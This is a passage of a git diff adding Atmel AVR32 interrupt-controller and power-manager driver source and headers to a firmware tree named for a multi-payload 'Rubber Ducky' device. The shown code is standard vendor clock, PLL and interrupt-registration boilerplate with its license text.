_get_interrupt_handler can retrieve it when the interrupt is vectored. + _int_handler_table[int_grp]._int_line_handler_table[irq % AVR32_INTC_MAX_NUM_IRQS_PER_GRP] = handler; + + // Program the corresponding IPRX register to set the interrupt priority level + // and the interrupt vector offset that will be fetched by the core interrupt + // system. + // NOTE: The _intx functions are intermediate assembly functions between the + // core interrupt system and the user interrupt handler. + AVR32_INTC.ipr[int_grp] = ipr_val[int_level & (AVR32_INTC_IPR_INTLEVEL_MASK >> AVR32_INTC_IPR_INTLEVEL_OFFSET)]; +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/intc/intc.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/intc/intc.h new file mode 100644 index 0000000..e9460f6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/intc/intc.h @@ -0,0 +1,98 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief INTC driver for AVR32 UC3. + * + * AVR32 Interrupt Controller driver module. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an INTC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _INTC_H_ +#define _INTC_H_ + +#include "compiler.h" + + +//! Maximal number of interrupt request lines per group. +#define AVR32_INTC_MAX_NUM_IRQS_PER_GRP 32 + +//! Number of interrupt priority levels. +#define AVR32_INTC_NUM_INT_LEVELS (1 << AVR32_INTC_IPR_INTLEVEL_SIZE) + + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +//! Pointer to interrupt handler. +#if (defined __GNUC__) +typedef void (*__int_handler)(void); +#elif (defined __ICCAVR32__) +typedef void (__interrupt *__int_handler)(void); +#endif + + +/*! \brief Initializes the hardware interrupt controller driver. + * + * \note Taken and adapted from Newlib. + */ +extern void INTC_init_interrupts(void); + +/*! \brief Registers an interrupt handler. + * + * \param handler Interrupt handler to register. + * \param irq IRQ of the interrupt handler to register. + * \param int_level Interrupt priority level to assign to the group of this IRQ. + * + * \warning The interrupt handler must manage the `rete' instruction, what can + * be done thanks to pure assembly, inline assembly or the + * `__attribute__((__interrupt__))' C function attribute. + * + * \warning If several interrupt handlers of a same group are registered with + * different priority levels, only the latest priority level set will + * be effective. + * + * \note Taken and adapted from Newlib. + */ +extern void INTC_register_interrupt(__int_handler handler, unsigned int irq, unsigned int int_level); + +#endif // __AVR32_ABI_COMPILER__ + + +#endif // _INTC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/pm.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/pm.c new file mode 100644 index 0000000..ad91f83 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/pm.c @@ -0,0 +1,566 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Power Manager driver. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include "compiler.h" +#include "pm.h" + + +/*! \name PM Writable Bit-Field Registers + */ +//! @{ + +typedef union +{ + unsigned long mcctrl; + avr32_pm_mcctrl_t MCCTRL; +} u_avr32_pm_mcctrl_t; + +typedef union +{ + unsigned long cksel; + avr32_pm_cksel_t CKSEL; +} u_avr32_pm_cksel_t; + +typedef union +{ + unsigned long pll; + avr32_pm_pll_t PLL; +} u_avr32_pm_pll_t; + +typedef union +{ + unsigned long oscctrl0; + avr32_pm_oscctrl0_t OSCCTRL0; +} u_avr32_pm_oscctrl0_t; + +typedef union +{ + unsigned long oscctrl1; + avr32_pm_oscctrl1_t OSCCTRL1; +} u_avr32_pm_oscctrl1_t; + +typedef union +{ + unsigned long oscctrl32; + avr32_pm_oscctrl32_t OSCCTRL32; +} u_avr32_pm_oscctrl32_t; + +typedef union +{ + unsigned long ier; + avr32_pm_ier_t IER; +} u_avr32_pm_ier_t; + +typedef union +{ + unsigned long idr; + avr32_pm_idr_t IDR; +} u_avr32_pm_idr_t; + +typedef union +{ + unsigned long icr; + avr32_pm_icr_t ICR; +} u_avr32_pm_icr_t; + +typedef union +{ + unsigned long gcctrl; + avr32_pm_gcctrl_t GCCTRL; +} u_avr32_pm_gcctrl_t; + +typedef union +{ + unsigned long rccr; + avr32_pm_rccr_t RCCR; +} u_avr32_pm_rccr_t; + +typedef union +{ + unsigned long bgcr; + avr32_pm_bgcr_t BGCR; +} u_avr32_pm_bgcr_t; + +typedef union +{ + unsigned long vregcr; + avr32_pm_vregcr_t VREGCR; +} u_avr32_pm_vregcr_t; + +typedef union +{ + unsigned long bod; + avr32_pm_bod_t BOD; +} u_avr32_pm_bod_t; + +//! @} + + +/*! \brief Sets the mode of the oscillator 0. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * \param mode Oscillator 0 mode (i.e. AVR32_PM_OSCCTRL0_MODE_x). + */ +static void pm_set_osc0_mode(volatile avr32_pm_t *pm, unsigned int mode) +{ + // Read + u_avr32_pm_oscctrl0_t u_avr32_pm_oscctrl0 = {pm->oscctrl0}; + // Modify + u_avr32_pm_oscctrl0.OSCCTRL0.mode = mode; + // Write + pm->oscctrl0 = u_avr32_pm_oscctrl0.oscctrl0; +} + + +void pm_enable_osc0_ext_clock(volatile avr32_pm_t *pm) +{ + pm_set_osc0_mode(pm, AVR32_PM_OSCCTRL0_MODE_EXT_CLOCK); +} + + +void pm_enable_osc0_crystal(volatile avr32_pm_t *pm, unsigned int fosc0) +{ + pm_set_osc0_mode(pm, (fosc0 < 900000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G0 : + (fosc0 < 3000000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G1 : + (fosc0 < 8000000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G2 : + AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G3); +} + + +void pm_enable_clk0(volatile avr32_pm_t *pm, unsigned int startup) +{ + pm_enable_clk0_no_wait(pm, startup); + pm_wait_for_clk0_ready(pm); +} + + +void pm_disable_clk0(volatile avr32_pm_t *pm) +{ + pm->mcctrl &= ~AVR32_PM_MCCTRL_OSC0EN_MASK; +} + + +void pm_enable_clk0_no_wait(volatile avr32_pm_t *pm, unsigned int startup) +{ + // Read register + u_avr32_pm_oscctrl0_t u_avr32_pm_oscctrl0 = {pm->oscctrl0}; + // Modify + u_avr32_pm_oscctrl0.OSCCTRL0.startup = startup; + // Write back + pm->oscctrl0 = u_avr32_pm_oscctrl0.oscctrl0; + + pm->mcctrl |= AVR32_PM_MCCTRL_OSC0EN_MASK; +} + + +void pm_wait_for_clk0_ready(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_OSC0RDY_MASK)); +} + + +/*! \brief Sets the mode of the oscillator 1. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * \param mode Oscillator 1 mode (i.e. AVR32_PM_OSCCTRL1_MODE_x). + */ +static void pm_set_osc1_mode(volatile avr32_pm_t *pm, unsigned int mode) +{ + // Read + u_avr32_pm_oscctrl1_t u_avr32_pm_oscctrl1 = {pm->oscctrl1}; + // Modify + u_avr32_pm_oscctrl1.OSCCTRL1.mode = mode; + // Write + pm->oscctrl1 = u_avr32_pm_oscctrl1.oscctrl1; +} + + +void pm_enable_osc1_ext_clock(volatile avr32_pm_t *pm) +{ + pm_set_osc1_mode(pm, AVR32_PM_OSCCTRL1_MODE_EXT_CLOCK); +} + + +void pm_enable_osc1_crystal(volatile avr32_pm_t *pm, unsigned int fosc1) +{ + pm_set_osc1_mode(pm, (fosc1 < 900000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G0 : + (fosc1 < 3000000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G1 : + (fosc1 < 8000000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G2 : + AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G3); +} + + +void pm_enable_clk1(volatile avr32_pm_t *pm, unsigned int startup) +{ + pm_enable_clk1_no_wait(pm, startup); + pm_wait_for_clk1_ready(pm); +} + + +void pm_disable_clk1(volatile avr32_pm_t *pm) +{ + pm->mcctrl &= ~AVR32_PM_MCCTRL_OSC1EN_MASK; +} + + +void pm_enable_clk1_no_wait(volatile avr32_pm_t *pm, unsigned int startup) +{ + // Read register + u_avr32_pm_oscctrl1_t u_avr32_pm_oscctrl1 = {pm->oscctrl1}; + // Modify + u_avr32_pm_oscctrl1.OSCCTRL1.startup = startup; + // Write back + pm->oscctrl1 = u_avr32_pm_oscctrl1.oscctrl1; + + pm->mcctrl |= AVR32_PM_MCCTRL_OSC1EN_MASK; +} + + +void pm_wait_for_clk1_ready(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_OSC1RDY_MASK)); +} + + +/*! \brief Sets the mode of the 32-kHz oscillator. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * \param mode 32-kHz oscillator mode (i.e. AVR32_PM_OSCCTRL32_MODE_x). + */ +static void pm_set_osc32_mode(volatile avr32_pm_t *pm, unsigned int mode) +{ + // Read + u_avr32_pm_oscctrl32_t u_avr32_pm_oscctrl32 = {pm->oscctrl32}; + // Modify + u_avr32_pm_oscctrl32.OSCCTRL32.mode = mode; + // Write + pm->oscctrl32 = u_avr32_pm_oscctrl32.oscctrl32; +} + + +void pm_enable_osc32_ext_clock(volatile avr32_pm_t *pm) +{ + pm_set_osc32_mode(pm, AVR32_PM_OSCCTRL32_MODE_EXT_CLOCK); +} + + +void pm_enable_osc32_crystal(volatile avr32_pm_t *pm) +{ + pm_set_osc32_mode(pm, AVR32_PM_OSCCTRL32_MODE_CRYSTAL); +} + + +void pm_enable_clk32(volatile avr32_pm_t *pm, unsigned int startup) +{ + pm_enable_clk32_no_wait(pm, startup); + pm_wait_for_clk32_ready(pm); +} + + +void pm_disable_clk32(volatile avr32_pm_t *pm) +{ + pm->oscctrl32 &= ~AVR32_PM_OSCCTRL32_OSC32EN_MASK; +} + + +void pm_enable_clk32_no_wait(volatile avr32_pm_t *pm, unsigned int startup) +{ + // Read register + u_avr32_pm_oscctrl32_t u_avr32_pm_oscctrl32 = {pm->oscctrl32}; + // Modify + u_avr32_pm_oscctrl32.OSCCTRL32.osc32en = 1; + u_avr32_pm_oscctrl32.OSCCTRL32.startup = startup; + // Write back + pm->oscctrl32 = u_avr32_pm_oscctrl32.oscctrl32; +} + + +void pm_wait_for_clk32_ready(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_OSC32RDY_MASK)); +} + + +void pm_cksel_get(volatile avr32_pm_t *pm, unsigned long *p_cksel) +{ + *p_cksel = pm->cksel; +} + + +void pm_cksel_set(volatile avr32_pm_t *pm, unsigned long cksel) +{ + pm->cksel = cksel; + + // Wait for ckrdy bit and then clear it + while (!(pm->poscsr & AVR32_PM_POSCSR_CKRDY_MASK)); +} + + +void pm_cksel(volatile avr32_pm_t *pm, + unsigned int pbadiv, + unsigned int pbasel, + unsigned int pbbdiv, + unsigned int pbbsel, + unsigned int hsbdiv, + unsigned int hsbsel) +{ + u_avr32_pm_cksel_t u_avr32_pm_cksel = {0}; + + u_avr32_pm_cksel.CKSEL.cpusel = hsbsel; + u_avr32_pm_cksel.CKSEL.cpudiv = hsbdiv; + u_avr32_pm_cksel.CKSEL.hsbsel = hsbsel; + u_avr32_pm_cksel.CKSEL.hsbdiv = hsbdiv; + u_avr32_pm_cksel.CKSEL.pbasel = pbasel; + u_avr32_pm_cksel.CKSEL.pbadiv = pbadiv; + u_avr32_pm_cksel.CKSEL.pbbsel = pbbsel; + u_avr32_pm_cksel.CKSEL.pbbdiv = pbbdiv; + + pm->cksel = u_avr32_pm_cksel.cksel; + + // Wait for ckrdy bit and then clear it + while (!(pm->poscsr & AVR32_PM_POSCSR_CKRDY_MASK)); +} + + +void pm_gc_setup(volatile avr32_pm_t *pm, + unsigned int gc, + unsigned int osc_or_pll, // Use Osc (=0) or PLL (=1) + unsigned int pll_osc, // Sel Osc0/PLL0 or Osc1/PLL1 + unsigned int diven, + unsigned int div) +{ + u_avr32_pm_gcctrl_t u_avr32_pm_gcctrl = {0}; + + u_avr32_pm_gcctrl.GCCTRL.oscsel = pll_osc; + u_avr32_pm_gcctrl.GCCTRL.pllsel = osc_or_pll; + u_avr32_pm_gcctrl.GCCTRL.diven = diven; + u_avr32_pm_gcctrl.GCCTRL.div = div; + + pm->gcctrl[gc] = u_avr32_pm_gcctrl.gcctrl; +} + + +void pm_gc_enable(volatile avr32_pm_t *pm, + unsigned int gc) +{ + pm->gcctrl[gc] |= AVR32_PM_GCCTRL_CEN_MASK; +} + + +void pm_gc_disable(volatile avr32_pm_t *pm, + unsigned int gc) +{ + pm->gcctrl[gc] &= ~AVR32_PM_GCCTRL_CEN_MASK; +} + + +void pm_pll_setup(volatile avr32_pm_t *pm, + unsigned int pll, + unsigned int mul, + unsigned int div, + unsigned int osc, + unsigned int lockcount) +{ + u_avr32_pm_pll_t u_avr32_pm_pll = {0}; + + u_avr32_pm_pll.PLL.pllosc = osc; + u_avr32_pm_pll.PLL.plldiv = div; + u_avr32_pm_pll.PLL.pllmul = mul; + u_avr32_pm_pll.PLL.pllcount = lockcount; + + pm->pll[pll] = u_avr32_pm_pll.pll; +} + + +void pm_pll_set_option(volatile avr32_pm_t *pm, + unsigned int pll, + unsigned int pll_freq, + unsigned int pll_div2, + unsigned int pll_wbwdisable) +{ + u_avr32_pm_pll_t u_avr32_pm_pll = {pm->pll[pll]}; + u_avr32_pm_pll.PLL.pllopt = pll_freq | (pll_div2 << 1) | (pll_wbwdisable << 2); + pm->pll[pll] = u_avr32_pm_pll.pll; +} + + +unsigned int pm_pll_get_option(volatile avr32_pm_t *pm, + unsigned int pll) +{ + return (pm->pll[pll] & AVR32_PM_PLLOPT_MASK) >> AVR32_PM_PLLOPT_OFFSET; +} + + +void pm_pll_enable(volatile avr32_pm_t *pm, + unsigned int pll) +{ + pm->pll[pll] |= AVR32_PM_PLLEN_MASK; +} + + +void pm_pll_disable(volatile avr32_pm_t *pm, + unsigned int pll) +{ + pm->pll[pll] &= ~AVR32_PM_PLLEN_MASK; +} + + +void pm_wait_for_pll0_locked(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_LOCK0_MASK)); +} + + +void pm_wait_for_pll1_locked(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_LOCK1_MASK)); +} + + +unsigned long pm_get_clock(volatile avr32_pm_t *pm) +{ + u_avr32_pm_mcctrl_t u_avr32_pm_mcctrl = {pm->mcctrl}; + return u_avr32_pm_mcctrl.MCCTRL.mcsel; +} + + +void pm_switch_to_clock(volatile avr32_pm_t *pm, unsigned long clock) +{ + // Read + u_avr32_pm_mcctrl_t u_avr32_pm_mcctrl = {pm->mcctrl}; + // Modify + u_avr32_pm_mcctrl.MCCTRL.mcsel = clock; + // Write back + pm->mcctrl = u_avr32_pm_mcctrl.mcctrl; +} + + +void pm_switch_to_osc0(volatile avr32_pm_t *pm, unsigned int fosc0, unsigned int startup) +{ + pm_enable_osc0_crystal(pm, fosc0); // Enable the Osc0 in crystal mode + pm_enable_clk0(pm, startup); // Crystal startup time - This parameter is critical and depends on the characteristics of the crystal + pm_switch_to_clock(pm, AVR32_PM_MCSEL_OSC0); // Then switch main clock to Osc0 +} + + +void pm_bod_enable_irq(volatile avr32_pm_t *pm) +{ + pm->ier = AVR32_PM_IER_BODDET_MASK; +} + + +void pm_bod_disable_irq(volatile avr32_pm_t *pm) +{ + Bool global_interrupt_enabled = Is_global_interrupt_enabled(); + + if (global_interrupt_enabled) Disable_global_interrupt(); + pm->idr = AVR32_PM_IDR_BODDET_MASK; + pm->isr; + if (global_interrupt_enabled) Enable_global_interrupt(); +} + + +void pm_bod_clear_irq(volatile avr32_pm_t *pm) +{ + pm->icr = AVR32_PM_ICR_BODDET_MASK; +} + + +unsigned long pm_bod_get_irq_status(volatile avr32_pm_t *pm) +{ + return ((pm->isr & AVR32_PM_ISR_BODDET_MASK) != 0); +} + + +unsigned long pm_bod_get_irq_enable_bit(volatile avr32_pm_t *pm) +{ + return ((pm->imr & AVR32_PM_IMR_BODDET_MASK) != 0); +} + + +unsigned long pm_bod_get_level(volatile avr32_pm_t *pm) +{ + return (pm->bod & AVR32_PM_BOD_LEVEL_MASK) >> AVR32_PM_BOD_LEVEL_OFFSET; +} + + +unsigned long pm_read_gplp(volatile avr32_pm_t *pm, unsigned long gplp) +{ + return pm->gplp[gplp]; +} + + +void pm_write_gplp(volatile avr32_pm_t *pm, unsigned long gplp, unsigned long value) +{ + pm->gplp[gplp] = value; +} + + +long pm_enable_module(volatile avr32_pm_t *pm, unsigned long module) +{ + unsigned long domain = module>>5; + unsigned long *regptr = (unsigned long*)(&(pm->cpumask) + domain); + + // Implementation-specific shortcut: the ckMASK registers are contiguous and + // memory-mapped in that order: CPUMASK, HSBMASK, PBAMASK, PBBMASK. + + *regptr |= (1<<(module%32)); + + return PASS; +} + +long pm_disable_module(volatile avr32_pm_t *pm, unsigned long module) +{ + unsigned long domain = module>>5; + unsigned long *regptr = (unsigned long*)(&(pm->cpumask) + domain); + + // Implementation-specific shortcut: the ckMASK registers are contiguous and + // memory-mapped in that order: CPUMASK, HSBMASK, PBAMASK, PBBMASK. + + *regptr &= ~(1<<(module%32)); + + return PASS; +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/pm.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/pm.h new file mode 100644 index 0000000..f23dd30 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/pm.h @@ -0,0 +1,515 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Power Manager driver. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _PM_H_ +#define _PM_H_ + +#include +#include "compiler.h" +#include "preprocessor.h" + + +/*! \brief Sets the MCU in the specified sleep mode. + * + * \param mode Sleep mode: + * \arg \c AVR32_PM_SMODE_IDLE: Idle; + * \arg \c AVR32_PM_SMODE_FROZEN: Frozen; + * \arg \c AVR32_PM_SMODE_STANDBY: Standby; + * \arg \c AVR32_PM_SMODE_STOP: Stop; + * \arg \c AVR32_PM_SMODE_DEEP_STOP: DeepStop; + * \arg \c AVR32_PM_SMODE_STATIC: Static. + */ +#define SLEEP(mode) {__asm__ __volatile__ ("sleep "STRINGZ(mode));} + + +//! Input and output parameters when initializing PM clocks using pm_configure_clocks(). +typedef struct +{ + //! CPU frequency (input/output argument). + unsigned long cpu_f; + + //! PBA frequency (input/output argument). + unsigned long pba_f; + + //! Oscillator 0's external crystal(or external clock) frequency (board dependant) (input argument). + unsigned long osc0_f; + + //! Oscillator 0's external crystal(or external clock) startup time: AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC (input argument). + unsigned long osc0_startup; +} pm_freq_param_t; + +#define PM_FREQ_STATUS_FAIL (-1) +#define PM_FREQ_STATUS_OK (0) + + +/*! \brief Gets the MCU reset cause. + * + * \param pm Base address of the Power Manager instance (i.e. &AVR32_PM). + * + * \return The MCU reset cause which can be masked with the + * \c AVR32_PM_RCAUSE_x_MASK bit-masks to isolate specific causes. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline unsigned int pm_get_reset_cause(volatile avr32_pm_t *pm) +{ + return pm->rcause; +} + + +/*! + * \brief This function will enable the external clock mode of the oscillator 0. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc0_ext_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the crystal mode of the oscillator 0. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param fosc0 Oscillator 0 crystal frequency (Hz) + */ +extern void pm_enable_osc0_crystal(volatile avr32_pm_t *pm, unsigned int fosc0); + + +/*! + * \brief This function will enable the oscillator 0 to be used with a startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 0 startup time. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk0(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will disable the oscillator 0. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_disable_clk0(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 0 to be used with no startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 0 startup time, for which the function does not wait. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk0_no_wait(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will wait until the Osc0 clock is ready. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_clk0_ready(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the external clock mode of the oscillator 1. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc1_ext_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the crystal mode of the oscillator 1. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param fosc1 Oscillator 1 crystal frequency (Hz) + */ +extern void pm_enable_osc1_crystal(volatile avr32_pm_t *pm, unsigned int fosc1); + + +/*! + * \brief This function will enable the oscillator 1 to be used with a startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 1 startup time. AVR32_PM_OSCCTRL1_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk1(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will disable the oscillator 1. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_disable_clk1(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 1 to be used with no startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 1 startup time, for which the function does not wait. AVR32_PM_OSCCTRL1_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk1_no_wait(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will wait until the Osc1 clock is ready. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_clk1_ready(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the external clock mode of the 32-kHz oscillator. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc32_ext_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the crystal mode of the 32-kHz oscillator. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc32_crystal(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 32 to be used with a startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 32 kHz startup time. AVR32_PM_OSCCTRL32_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk32(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will disable the oscillator 32. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_disable_clk32(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 32 to be used with no startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 32 kHz startup time, for which the function does not wait. AVR32_PM_OSCCTRL32_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk32_no_wait(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will wait until the osc32 clock is ready. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_clk32_ready(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will select all the power manager clocks. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pbadiv Peripheral Bus A clock divisor enable + * \param pbasel Peripheral Bus A select + * \param pbbdiv Peripheral Bus B clock divisor enable + * \param pbbsel Peripheral Bus B select + * \param hsbdiv High Speed Bus clock divisor enable (CPU clock = HSB clock) + * \param hsbsel High Speed Bus select 